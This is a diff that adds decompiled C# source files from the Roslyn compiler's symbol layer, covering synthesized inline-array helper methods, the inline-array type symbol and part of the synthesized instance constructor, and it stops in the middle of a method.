b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedInlineArrayAsReadOnlySpanMethod.cs new file mode 100644 index 0000000..e2133c5 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedInlineArrayAsReadOnlySpanMethod.cs @@ -0,0 +1,31 @@ +using System.Collections.Immutable; +using Microsoft.CodeAnalysis.CodeGen; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal sealed class SynthesizedInlineArrayAsReadOnlySpanMethod : SynthesizedGlobalMethodSymbol +{ + internal SynthesizedInlineArrayAsReadOnlySpanMethod(SourceModuleSymbol containingModule, PrivateImplementationDetails privateImplType, string synthesizedMethodName, NamedTypeSymbol spanType, NamedTypeSymbol intType) + : base(containingModule, privateImplType, synthesizedMethodName) + { + SetTypeParameters(ImmutableArray.Create((TypeParameterSymbol)new SynthesizedSimpleMethodTypeParameterSymbol(this, 0, "TBuffer"), (TypeParameterSymbol)new SynthesizedSimpleMethodTypeParameterSymbol(this, 1, "TElement"))); + SetReturnType(spanType.Construct(TypeParameters[1])); + SetParameters(ImmutableArray.Create(SynthesizedParameterSymbol.Create(this, TypeWithAnnotations.Create(TypeParameters[0]), 0, (RefKind)3, "buffer", (ScopedKind)0), SynthesizedParameterSymbol.Create(this, TypeWithAnnotations.Create(intType), 1, (RefKind)0, "length", (ScopedKind)0))); + } + + internal override void GenerateMethodBody(TypeCompilationState compilationState, BindingDiagnosticBag diagnostics) + { + SyntheticBoundNodeFactory syntheticBoundNodeFactory = new SyntheticBoundNodeFactory(this, (SyntaxNode)(object)this.GetNonNullSyntaxNode(), compilationState, diagnostics); + syntheticBoundNodeFactory.CurrentFunction = this; + try + { + BoundReturnStatement body = syntheticBoundNodeFactory.Return(syntheticBoundNodeFactory.Call(null, syntheticBoundNodeFactory.WellKnownMethod((WellKnownMember)100).Construct(TypeParameters[1]), syntheticBoundNodeFactory.Call(null, syntheticBoundNodeFactory.WellKnownMethod((WellKnownMember)130).Construct(ImmutableArray.CastUp(TypeParameters)), syntheticBoundNodeFactory.Call(null, syntheticBoundNodeFactory.WellKnownMethod((WellKnownMember)131).Construct(TypeParameters[0]), syntheticBoundNodeFactory.Parameter(Parameters[0]))), syntheticBoundNodeFactory.Parameter(Parameters[1]))); + syntheticBoundNodeFactory.CloseMethod(body); + } + catch (SyntheticBoundNodeFactory.MissingPredefinedMember missingPredefinedMember) + { + ((BindingDiagnosticBag)diagnostics).Add(missingPredefinedMember.Diagnostic); + syntheticBoundNodeFactory.CloseMethod(syntheticBoundNodeFactory.ThrowNull()); + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedInlineArrayAsSpanMethod.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedInlineArrayAsSpanMethod.cs new file mode 100644 index 0000000..875a4b8 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedInlineArrayAsSpanMethod.cs @@ -0,0 +1,31 @@ +using System.Collections.Immutable; +using Microsoft.CodeAnalysis.CodeGen; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal sealed class SynthesizedInlineArrayAsSpanMethod : SynthesizedGlobalMethodSymbol +{ + internal SynthesizedInlineArrayAsSpanMethod(SourceModuleSymbol containingModule, PrivateImplementationDetails privateImplType, string synthesizedMethodName, NamedTypeSymbol spanType, NamedTypeSymbol intType) + : base(containingModule, privateImplType, synthesizedMethodName) + { + SetTypeParameters(ImmutableArray.Create((TypeParameterSymbol)new SynthesizedSimpleMethodTypeParameterSymbol(this, 0, "TBuffer"), (TypeParameterSymbol)new SynthesizedSimpleMethodTypeParameterSymbol(this, 1, "TElement"))); + SetReturnType(spanType.Construct(TypeParameters[1])); + SetParameters(ImmutableArray.Create(SynthesizedParameterSymbol.Create(this, TypeWithAnnotations.Create(TypeParameters[0]), 0, (RefKind)1, "buffer", (ScopedKind)0), SynthesizedParameterSymbol.Create(this, TypeWithAnnotations.Create(intType), 1, (RefKind)0, "length", (ScopedKind)0))); + } + + internal override void GenerateMethodBody(TypeCompilationState compilationState, BindingDiagnosticBag diagnostics) + { + SyntheticBoundNodeFactory syntheticBoundNodeFactory = new SyntheticBoundNodeFactory(this, (SyntaxNode)(object)this.GetNonNullSyntaxNode(), compilationState, diagnostics); + syntheticBoundNodeFactory.CurrentFunction = this; + try + { + BoundReturnStatement body = syntheticBoundNodeFactory.Return(syntheticBoundNodeFactory.Call(null, syntheticBoundNodeFactory.WellKnownMethod((WellKnownMember)99).Construct(TypeParameters[1]), syntheticBoundNodeFactory.Call(null, syntheticBoundNodeFactory.WellKnownMethod((WellKnownMember)130).Construct(ImmutableArray.CastUp(TypeParameters)), syntheticBoundNodeFactory.Parameter(Parameters[0])), syntheticBoundNodeFactory.Parameter(Parameters[1]))); + syntheticBoundNodeFactory.CloseMethod(body); + } + catch (SyntheticBoundNodeFactory.MissingPredefinedMember missingPredefinedMember) + { + ((BindingDiagnosticBag)diagnostics).Add(missingPredefinedMember.Diagnostic); + syntheticBoundNodeFactory.CloseMethod(syntheticBoundNodeFactory.ThrowNull()); + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedInlineArrayElementRefMethod.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedInlineArrayElementRefMethod.cs new file mode 100644 index 0000000..b57f595 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedInlineArrayElementRefMethod.cs @@ -0,0 +1,33 @@ +using System.Collections.Immutable; +using Microsoft.CodeAnalysis.CodeGen; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal sealed class SynthesizedInlineArrayElementRefMethod : SynthesizedGlobalMethodSymbol +{ + public override RefKind RefKind => (RefKind)1; + + internal SynthesizedInlineArrayElementRefMethod(SourceModuleSymbol containingModule, PrivateImplementationDetails privateImplType, string synthesizedMethodName, NamedTypeSymbol intType) + : base(containingModule, privateImplType, synthesizedMethodName) + { + SetTypeParameters(ImmutableArray.Create((TypeParameterSymbol)new SynthesizedSimpleMethodTypeParameterSymbol(this, 0, "TBuffer"), (TypeParameterSymbol)new SynthesizedSimpleMethodTypeParameterSymbol(this, 1, "TElement"))); + SetReturnType(TypeParameters[1]); + SetParameters(ImmutableArray.Create(SynthesizedParameterSymbol.Create(this, TypeWithAnnotations.Create(TypeParameters[0]), 0, (RefKind)1, "buffer", (ScopedKind)0), SynthesizedParameterSymbol.Create(this, TypeWithAnnotations.Create(intType), 1, (RefKind)0, "index", (ScopedKind)0))); + } + + internal override void GenerateMethodBody(TypeCompilationState compilationState, BindingDiagnosticBag diagnostics) + { + SyntheticBoundNodeFactory syntheticBoundNodeFactory = new SyntheticBoundNodeFactory(this, (SyntaxNode)(object)this.GetNonNullSyntaxNode(), compilationState, diagnostics); + syntheticBoundNodeFactory.CurrentFunction = this; + try + { + BoundReturnStatement body = syntheticBoundNodeFactory.Return(syntheticBoundNodeFactory.Call(null, syntheticBoundNodeFactory.WellKnownMethod((WellKnownMember)129).Construct(TypeParameters[1]), syntheticBoundNodeFactory.Call(null, syntheticBoundNodeFactory.WellKnownMethod((WellKnownMember)130).Construct(ImmutableArray.CastUp(TypeParameters)), syntheticBoundNodeFactory.Parameter(Parameters[0])), syntheticBoundNodeFactory.Parameter(Parameters[1]))); + syntheticBoundNodeFactory.CloseMethod(body); + } + catch (SyntheticBoundNodeFactory.MissingPredefinedMember missingPredefinedMember) + { + ((BindingDiagnosticBag)diagnostics).Add(missingPredefinedMember.Diagnostic); + syntheticBoundNodeFactory.CloseMethod(syntheticBoundNodeFactory.ThrowNull()); + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedInlineArrayElementRefReadOnlyMethod.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedInlineArrayElementRefReadOnlyMethod.cs new file mode 100644 index 0000000..404df9d --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedInlineArrayElementRefReadOnlyMethod.cs @@ -0,0 +1,33 @@ +using System.Collections.Immutable; +using Microsoft.CodeAnalysis.CodeGen; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal sealed class SynthesizedInlineArrayElementRefReadOnlyMethod : SynthesizedGlobalMethodSymbol +{ + public override RefKind RefKind => (RefKind)3; + + internal SynthesizedInlineArrayElementRefReadOnlyMethod(SourceModuleSymbol containingModule, PrivateImplementationDetails privateImplType, string synthesizedMethodName, NamedTypeSymbol intType) + : base(containingModule, privateImplType, synthesizedMethodName) + { + SetTypeParameters(ImmutableArray.Create((TypeParameterSymbol)new SynthesizedSimpleMethodTypeParameterSymbol(this, 0, "TBuffer"), (TypeParameterSymbol)new SynthesizedSimpleMethodTypeParameterSymbol(this, 1, "TElement"))); + SetReturnType(TypeParameters[1]); + SetParameters(ImmutableArray.Create(SynthesizedParameterSymbol.Create(this, TypeWithAnnotations.Create(TypeParameters[0]), 0, (RefKind)3, "buffer", (ScopedKind)0), SynthesizedParameterSymbol.Create(this, TypeWithAnnotations.Create(intType), 1, (RefKind)0, "index", (ScopedKind)0))); + } + + internal override void GenerateMethodBody(TypeCompilationState compilationState, BindingDiagnosticBag diagnostics) + { + SyntheticBoundNodeFactory syntheticBoundNodeFactory = new SyntheticBoundNodeFactory(this, (SyntaxNode)(object)this.GetNonNullSyntaxNode(), compilationState, diagnostics); + syntheticBoundNodeFactory.CurrentFunction = this; + try + { + BoundReturnStatement body = syntheticBoundNodeFactory.Return(syntheticBoundNodeFactory.Call(null, syntheticBoundNodeFactory.WellKnownMethod((WellKnownMember)129).Construct(TypeParameters[1]), syntheticBoundNodeFactory.Call(null, syntheticBoundNodeFactory.WellKnownMethod((WellKnownMember)130).Construct(ImmutableArray.CastUp(TypeParameters)), syntheticBoundNodeFactory.Call(null, syntheticBoundNodeFactory.WellKnownMethod((WellKnownMember)131).Construct(TypeParameters[0]), syntheticBoundNodeFactory.Parameter(Parameters[0]))), syntheticBoundNodeFactory.Parameter(Parameters[1]))); + syntheticBoundNodeFactory.CloseMethod(body); + } + catch (SyntheticBoundNodeFactory.MissingPredefinedMember missingPredefinedMember) + { + ((BindingDiagnosticBag)diagnostics).Add(missingPredefinedMember.Diagnostic); + syntheticBoundNodeFactory.CloseMethod(syntheticBoundNodeFactory.ThrowNull()); + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedInlineArrayFirstElementRefMethod.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedInlineArrayFirstElementRefMethod.cs new file mode 100644 index 0000000..2358c19 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedInlineArrayFirstElementRefMethod.cs @@ -0,0 +1,33 @@ +using System.Collections.Immutable; +using Microsoft.CodeAnalysis.CodeGen; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal sealed class SynthesizedInlineArrayFirstElementRefMethod : SynthesizedGlobalMethodSymbol +{ + public override RefKind RefKind => (RefKind)1; + + internal SynthesizedInlineArrayFirstElementRefMethod(SourceModuleSymbol containingModule, PrivateImplementationDetails privateImplType, string synthesizedMethodName) + : base(containingModule, privateImplType, synthesizedMethodName) + { + SetTypeParameters(ImmutableArray.Create((TypeParameterSymbol)new SynthesizedSimpleMethodTypeParameterSymbol(this, 0, "TBuffer"), (TypeParameterSymbol)new SynthesizedSimpleMethodTypeParameterSymbol(this, 1, "TElement"))); + SetReturnType(TypeParameters[1]); + SetParameters(ImmutableArray.Create(SynthesizedParameterSymbol.Create(this, TypeWithAnnotations.Create(TypeParameters[0]), 0, (RefKind)1, "buffer", (ScopedKind)0))); + } + + internal override void GenerateMethodBody(TypeCompilationState compilationState, BindingDiagnosticBag diagnostics) + { + SyntheticBoundNodeFactory syntheticBoundNodeFactory = new SyntheticBoundNodeFactory(this, (SyntaxNode)(object)this.GetNonNullSyntaxNode(), compilationState, diagnostics); + syntheticBoundNodeFactory.CurrentFunction = this; + try + { + BoundReturnStatement body = syntheticBoundNodeFactory.Return(syntheticBoundNodeFactory.Call(null, syntheticBoundNodeFactory.WellKnownMethod((WellKnownMember)130).Construct(ImmutableArray.CastUp(TypeParameters)), syntheticBoundNodeFactory.Parameter(Parameters[0]))); + syntheticBoundNodeFactory.CloseMethod(body); + } + catch (SyntheticBoundNodeFactory.MissingPredefinedMember missingPredefinedMember) + { + ((BindingDiagnosticBag)diagnostics).Add(missingPredefinedMember.Diagnostic); + syntheticBoundNodeFactory.CloseMethod(syntheticBoundNodeFactory.ThrowNull()); + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedInlineArrayFirstElementRefReadOnlyMethod.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedInlineArrayFirstElementRefReadOnlyMethod.cs new file mode 100644 index 0000000..084680f --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedInlineArrayFirstElementRefReadOnlyMethod.cs @@ -0,0 +1,33 @@ +using System.Collections.Immutable; +using Microsoft.CodeAnalysis.CodeGen; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal sealed class SynthesizedInlineArrayFirstElementRefReadOnlyMethod : SynthesizedGlobalMethodSymbol +{ + public override RefKind RefKind => (RefKind)3; + + internal SynthesizedInlineArrayFirstElementRefReadOnlyMethod(SourceModuleSymbol containingModule, PrivateImplementationDetails privateImplType, string synthesizedMethodName) + : base(containingModule, privateImplType, synthesizedMethodName) + { + SetTypeParameters(ImmutableArray.Create((TypeParameterSymbol)new SynthesizedSimpleMethodTypeParameterSymbol(this, 0, "TBuffer"), (TypeParameterSymbol)new SynthesizedSimpleMethodTypeParameterSymbol(this, 1, "TElement"))); + SetReturnType(TypeParameters[1]); + SetParameters(ImmutableArray.Create(SynthesizedParameterSymbol.Create(this, TypeWithAnnotations.Create(TypeParameters[0]), 0, (RefKind)3, "buffer", (ScopedKind)0))); + } + + internal override void GenerateMethodBody(TypeCompilationState compilationState, BindingDiagnosticBag diagnostics) + { + SyntheticBoundNodeFactory syntheticBoundNodeFactory = new SyntheticBoundNodeFactory(this, (SyntaxNode)(object)this.GetNonNullSyntaxNode(), compilationState, diagnostics); + syntheticBoundNodeFactory.CurrentFunction = this; + try + { + BoundReturnStatement body = syntheticBoundNodeFactory.Return(syntheticBoundNodeFactory.Call(null, syntheticBoundNodeFactory.WellKnownMethod((WellKnownMember)130).Construct(ImmutableArray.CastUp(TypeParameters)), syntheticBoundNodeFactory.Call(null, syntheticBoundNodeFactory.WellKnownMethod((WellKnownMember)131).Construct(TypeParameters[0]), syntheticBoundNodeFactory.Parameter(Parameters[0])))); + syntheticBoundNodeFactory.CloseMethod(body); + } + catch (SyntheticBoundNodeFactory.MissingPredefinedMember missingPredefinedMember) + { + ((BindingDiagnosticBag)diagnostics).Add(missingPredefinedMember.Diagnostic); + syntheticBoundNodeFactory.CloseMethod(syntheticBoundNodeFactory.ThrowNull()); + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedInlineArrayTypeSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedInlineArrayTypeSymbol.cs new file mode 100644 index 0000000..b3fedec --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedInlineArrayTypeSymbol.cs @@ -0,0 +1,298 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Runtime.InteropServices; +using Microsoft.Cci; +using Microsoft.CodeAnalysis.CSharp.Emit; +using Microsoft.CodeAnalysis.PooledObjects; +using Microsoft.CodeAnalysis.Symbols; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal sealed class SynthesizedInlineArrayTypeSymbol : NamedTypeSymbol +{ + private sealed class InlineArrayTypeParameterSymbol : TypeParameterSymbol + { + private readonly SynthesizedInlineArrayTypeSymbol _container; + + public override string Name => "T"; + + public override int Ordinal => 0; + + public override bool HasConstructorConstraint => false; + + public override TypeParameterKind TypeParameterKind => (TypeParameterKind)0; + + public override bool HasReferenceTypeConstraint => false; + + public override bool IsReferenceTypeFromConstraintTypes => false; + + public override bool HasNotNullConstraint => false; + + public override bool HasValueTypeConstraint => false; + + public override bool IsValueTypeFromConstraintTypes => false; + + public override bool HasUnmanagedTypeConstraint => false; + + public override VarianceKind Variance => (VarianceKind)0; + + public override Symbol ContainingSymbol => _container; + + public override ImmutableArray Locations => ImmutableArray.Empty; + + public override ImmutableArray DeclaringSyntaxReferences => ImmutableArray.Empty; + + internal override bool? IsNotNullable => null; + + internal override bool? ReferenceTypeConstraintIsNullable => null; + + internal InlineArrayTypeParameterSymbol(SynthesizedInlineArrayTypeSymbol container) + { + _container = container; + } + + internal override void EnsureAllConstraintsAreResolved() + { + } + + internal override ImmutableArray GetConstraintTypes(ConsList inProgress) + { + return ImmutableArray.Empty; + } + + internal override TypeSymbol GetDeducedBaseType(ConsList inProgress) + { + return ContainingAssembly.GetSpecialType((SpecialType)1); + } + + internal override NamedTypeSymbol GetEffectiveBaseClass(ConsList inProgress) + { + return ContainingAssembly.GetSpecialType((SpecialType)1); + } + + internal override ImmutableArray GetInterfaces(ConsList inProgress) + { + return ImmutableArray.Empty; + } + } + + private readonly ModuleSymbol _containingModule; + + private readonly int _arrayLength; + + private readonly MethodSymbol _inlineArrayAttributeConstructor; + + private readonly ImmutableArray _fields; + + public override int Arity => 1; + + public override ImmutableArray TypeParameters { get; } + + public override NamedTypeSymbol ConstructedFrom => this; + + public override bool MightContainExtensionMethods => false; + + public override string Name { get; } + + public override IEnumerable MemberNames => ImmutableArrayExtensions.SelectAsArray(GetMembers(), (Func)((Symbol m) => m.Name)); + + public override Accessibility DeclaredAccessibility => (Accessibility)4; + + public override bool IsSerializable => false; + + public override bool AreLocalsZeroed => true; + + public override TypeKind TypeKind => (TypeKind)10; + + public override bool IsRefLikeType => false; + + public override bool IsReadOnly => true; + + public override Symbol? ContainingSymbol => _containingModule.GlobalNamespace; + + internal override ModuleSymbol ContainingModule => _containingModule; + + public override AssemblySymbol ContainingAssembly => _containingModule.ContainingAssembly; + + public override ImmutableArray Locations => ImmutableArray.Empty; + + public override ImmutableArray DeclaringSyntaxReferences => ImmutableArray.Empty; + + public override bool IsStatic => false; + + public override bool IsAbstract => false; + + public override bool IsSealed => true; + + internal override ImmutableArray TypeArgumentsWithAnnotationsNoUseSiteDiagnostics => GetTypeParametersAsTypeArguments(); + + internal override bool IsFileLocal => false; + + internal override FileIdentifier? AssociatedFileIdentifier => null; + + internal override bool MangleName => true; + + internal override bool HasDeclaredRequiredMembers => false; + + internal override bool HasCodeAnalysisEmbeddedAttribute => false; + + internal override bool IsInterpolatedStringHandlerType => false; + + internal override bool HasSpecialName => false; + + internal override bool IsComImport => false; + + internal override bool IsWindowsRuntimeImport => false; + + internal override bool ShouldAddWinRTMembers => false; + + internal override TypeLayout Layout => default(TypeLayout); + + internal override CharSet MarshallingCharSet => base.DefaultMarshallingCharSet; + + internal override bool HasDeclarativeSecurity => false; + + internal override bool IsInterface => false; + + internal override NamedTypeSymbol? NativeIntegerUnderlyingType => null; + + internal override NamedTypeSymbol BaseTypeNoUseSiteDiagnostics => ContainingAssembly.GetSpecialType((SpecialType)5); + + internal override bool IsRecord => false; + + internal override bool IsRecordStruct => false; + + internal override ObsoleteAttributeData? ObsoleteAttributeData => null; + + internal SynthesizedInlineArrayTypeSymbol(SourceModuleSymbol containingModule, string name, int arrayLength, MethodSymbol inlineArrayAttributeConstructor) + { + InlineArrayTypeParameterSymbol inlineArrayTypeParameterSymbol = new InlineArrayTypeParameterSymbol(this); + SynthesizedFieldSymbol item = new SynthesizedFieldSymbol(this, inlineArrayTypeParameterSymbol, "_element0"); + _containingModule = containingModule; + _arrayLength = arrayLength; + _inlineArrayAttributeConstructor = inlineArrayAttributeConstructor; + _fields = ImmutableArray.Create((FieldSymbol)item); + Name = name; + TypeParameters = ImmutableArray.Create((TypeParameterSymbol)inlineArrayTypeParameterSymbol); + } + + public override ImmutableArray GetMembers() + { + return ImmutableArray.CastUp(_fields); + } + + public override ImmutableArray GetMembers(string name) + { + return ImmutableArrayExtensions.WhereAsArray(GetMembers(), (Func)((Symbol m) => m.Name == name)); + } + + public override ImmutableArray GetTypeMembers() + { + return ImmutableArray.Empty; + } + + public override ImmutableArray GetTypeMembers(ReadOnlyMemory name, int arity) + { + return ImmutableArray.Empty; + } + + public override ImmutableArray GetTypeMembers(ReadOnlyMemory name) + { + return ImmutableArray.Empty; + } + + protected override NamedTypeSymbol WithTupleDataCore(TupleExtraData newData) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/Synthesized/SynthesizedInlineArrayTypeSymbol.cs", 135); + } + + internal override NamedTypeSymbol AsNativeInteger() + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/Synthesized/SynthesizedInlineArrayTypeSymbol.cs", 137); + } + + internal override ImmutableArray GetAppliedConditionalSymbols() + { + return ImmutableArray.Empty; + } + + internal override AttributeUsageInfo GetAttributeUsageInfo() + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + return default(AttributeUsageInfo); + } + + internal override NamedTypeSymbol GetDeclaredBaseType(ConsList basesBeingResolved) + { + return BaseTypeNoUseSiteDiagnostics; + } + + internal override ImmutableArray GetDeclaredInterfaces(ConsList basesBeingResolved) + { + return ImmutableArray.Empty; + } + + internal override ImmutableArray GetEarlyAttributeDecodingMembers() + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/Synthesized/SynthesizedInlineArrayTypeSymbol.cs", 147); + } + + internal override ImmutableArray GetEarlyAttributeDecodingMembers(string name) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/Synthesized/SynthesizedInlineArrayTypeSymbol.cs", 149); + } + + internal override IEnumerable GetFieldsToEmit() + { + return _fields; + } + + internal override ImmutableArray GetInterfacesToEmit() + { + return ImmutableArray.Empty; + } + + internal override IEnumerable GetSecurityInformation() + { + return SpecializedCollections.EmptyEnumerable(); + } + + internal override bool HasCollectionBuilderAttribute(out TypeSymbol? builderType, out string? methodName) + { + builderType = null; + methodName = null; + return false; + } + + internal override bool HasInlineArrayAttribute(out int length) + { + length = _arrayLength; + return true; + } + + internal override bool HasPossibleWellKnownCloneMethod() + { + return false; + } + + internal override ImmutableArray InterfacesNoUseSiteDiagnostics(ConsList? basesBeingResolved = null) + { + return ImmutableArray.Empty; + } + + internal override IEnumerable<(MethodSymbol Body, MethodSymbol Implemented)> SynthesizedInterfaceMethodImpls() + { + return SpecializedCollections.EmptyEnumerable<(MethodSymbol, MethodSymbol)>(); + } + + internal override void AddSynthesizedAttributes(PEModuleBuilder moduleBuilder, ref ArrayBuilder attributes) + { + //IL_002f: Unknown result type (might be due to invalid IL or missing references) + base.AddSynthesizedAttributes(moduleBuilder, ref attributes); + CSharpCompilation declaringCompilation = _containingModule.DeclaringCompilation; + Symbol.AddSynthesizedAttribute(ref attributes, new SynthesizedAttributeData(_inlineArrayAttributeConstructor, ImmutableArray.Create(new TypedConstant((ITypeSymbolInternal)(object)declaringCompilation.GetSpecialType((SpecialType)13), (TypedConstantKind)1, (object)_arrayLength)), ImmutableArray>.Empty)); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedInstanceConstructor.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedInstanceConstructor.cs new file mode 100644 index 0000000..1f45268 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedInstanceConstructor.cs @@ -0,0 +1,204 @@ +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Reflection; +using Microsoft.Cci; +using Microsoft.CodeAnalysis.CSharp.Emit; +using Microsoft.CodeAnalysis.PooledObjects; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal class SynthesizedInstanceConstructor : SynthesizedInstanceMethodSymbol +{ + private readonly NamedTypeSymbol _containingType; + + internal override bool GenerateDebugInfo => true; + + public override ImmutableArray Parameters => ImmutableArray.Empty; + + public override Accessibility DeclaredAccessibility + { + get + { + if (ContainingType.IsAbstract) + { + return (Accessibility)3; + } + return (Accessibility)6; + } + } + + internal override bool IsMetadataFinal => false; + + public sealed override Symbol ContainingSymbol => _containingType; + + public sealed override NamedTypeSymbol ContainingType => _containingType; + + public sealed override string Name => ".ctor"; + + internal sealed override bool HasSpecialName => true; + + internal sealed override MethodImplAttributes ImplementationAttributes + { + get + { + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + //IL_001f: Invalid comparison between Unknown and I4 + if (_containingType.IsComImport) + { + return (MethodImplAttributes)4099; + } + if ((int)_containingType.TypeKind == 3) + { + return MethodImplAttributes.CodeTypeMask; + } + return MethodImplAttributes.IL; + } + } + + internal sealed override bool RequiresSecurityObject => false; + + internal sealed override MarshalPseudoCustomAttributeData ReturnValueMarshallingInformation => null; + + internal sealed override bool HasDeclarativeSecurity => false; + + public sealed override bool IsVararg => false; + + public sealed override ImmutableArray TypeParameters => ImmutableArray.Empty; + + public sealed override ImmutableArray Locations => ContainingType.Locations; + + public override RefKind RefKind => (RefKind)0; + + public sealed override TypeWithAnnotations ReturnTypeWithAnnotations => TypeWithAnnotations.Create(ContainingAssembly.GetSpecialType((SpecialType)6)); + + public sealed override FlowAnalysisAnnotations ReturnTypeFlowAnalysisAnnotations => FlowAnalysisAnnotations.None; + + public sealed override ImmutableHashSet ReturnNotNullIfParameterNotNull => ImmutableHashSet.Empty; + + public override ImmutableArray RefCustomModifiers => ImmutableArray.Empty; + + public sealed override ImmutableArray TypeArgumentsWithAnnotations => ImmutableArray.Empty; + + public sealed override Symbol AssociatedSymbol => null; + + public sealed override int Arity => 0; + + public sealed override bool ReturnsVoid => true; + + public sealed override MethodKind MethodKind => (MethodKind)1; + + public sealed override bool IsExtern => ContainingType?.IsComImport ?? false; + + public sealed override bool IsSealed => false; + + public sealed override bool IsAbstract => false; + + public sealed override bool IsOverride => false; + + public sealed override bool IsVirtual => false; + + public sealed override bool IsStatic => false; + + public sealed override bool IsAsync => false; + + public sealed override bool HidesBaseMethodsByName => false; + + public sealed override bool IsExtensionMethod => false; + + internal sealed override CallingConvention CallingConvention => (CallingConvention)32; + + internal sealed override bool IsExplicitInterfaceImplementation => false; + + public sealed override ImmutableArray ExplicitInterfaceImplementations => ImmutableArray.Empty; + + protected override bool HasSetsRequiredMembersImpl => false; + + internal SynthesizedInstanceConstructor(NamedTypeSymbol containingType) + { + _containingType = containingType; + } + + public sealed override DllImportData GetDllImportData() + { + return null; + } + + internal sealed override IEnumerable GetSecurityInformation() + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/Synthesized/SynthesizedInstanceConstructor.cs", 119); + } + + internal sealed override ImmutableArray GetAppliedConditionalSymbols() + { + return ImmutableArray.Empty; + } + + internal override LexicalSortKey GetLexicalSortKey() + { + return LexicalSortKey.SynthesizedCtor; + } + + internal sealed override bool IsMetadataNewSlot(bool ignoreInterfaceImplementationChanges = false) + { + return false; + } + + internal sealed override bool IsMetadataVirtual(bool ignoreInterfaceImplementationChanges = false) + { + return false; + } + + internal sealed override int CalculateLocalSyntaxOffset(int localPosition, SyntaxTree localTree) + { + return ((SourceMemberContainerTypeSymbol)ContainingType).CalculateSyntaxOffsetInSynthesizedConstructor(localPosition, localTree, isStatic: false); + } + + internal sealed override UseSiteInfo GetUseSiteInfo() + { + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + //IL_0029: Unknown result type (might be due to invalid IL or missing references) + UseSiteInfo result = default(UseSiteInfo); + result._002Ector(base.PrimaryDependency); + MergeUseSiteInfo(ref result, ReturnTypeWithAnnotations.Type.GetUseSiteInfo()); + return result; + } + + internal sealed override bool IsNullableAnalysisEnabled() + { + return (ContainingType as SourceMemberContainerTypeSymbol)?.IsNullableEnabledForConstructorsAndInitializers(useStatic: false) ?? false; + } + + protected void GenerateMethodBodyCore(TypeCompilationState compilationState, BindingDiagnosticBag diagnostics) + { + SyntheticBoundNodeFactory syntheticBoundNodeFactory = new SyntheticBoundNodeFactory(this, (SyntaxNode)(object)this.GetNonNullSyntaxNode(), compilationState, diagnostics); + syntheticBoundNodeFactory.CurrentFunction = this; + if (ContainingType.BaseTypeNoUseSiteDiagnostics is MissingMetadataTypeSymbol) + { + 